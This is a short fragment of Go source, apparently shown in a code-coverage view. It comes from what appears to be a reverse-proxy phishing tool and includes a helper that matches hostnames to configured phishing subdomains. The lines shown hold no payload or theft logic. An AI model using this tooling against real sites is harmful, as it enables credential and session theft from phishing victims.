(hostname string)
| 1793 | } |
| 1794 | |
| 1795 | func (p *HttpProxy) getPhishSub(hostname string) (string, bool) { |
| 1796 | for site, pl := range p.cfg.phishlets { |
| 1797 | if p.cfg.IsSiteEnabled(site) { |
| 1798 | phishDomain, ok := p.cfg.GetSiteDomain(pl.Name) |
| 1799 | if !ok { |
| 1800 | continue |
| 1801 | } |
| 1802 | for _, ph := range pl.proxyHosts { |
| 1803 | if hostname == combineHost(ph.phish_subdomain, phishDomain) { |
| 1804 | return ph.phish_subdomain, true |
| 1805 | } |
| 1806 | } |
| 1807 | } |
| 1808 | } |
| 1809 | return "", false |
| 1810 | } |
| 1811 | |
| 1812 | func (p *HttpProxy) handleSession(hostname string) bool { |
| 1813 | for site, pl := range p.cfg.phishlets { |
no test coverage detected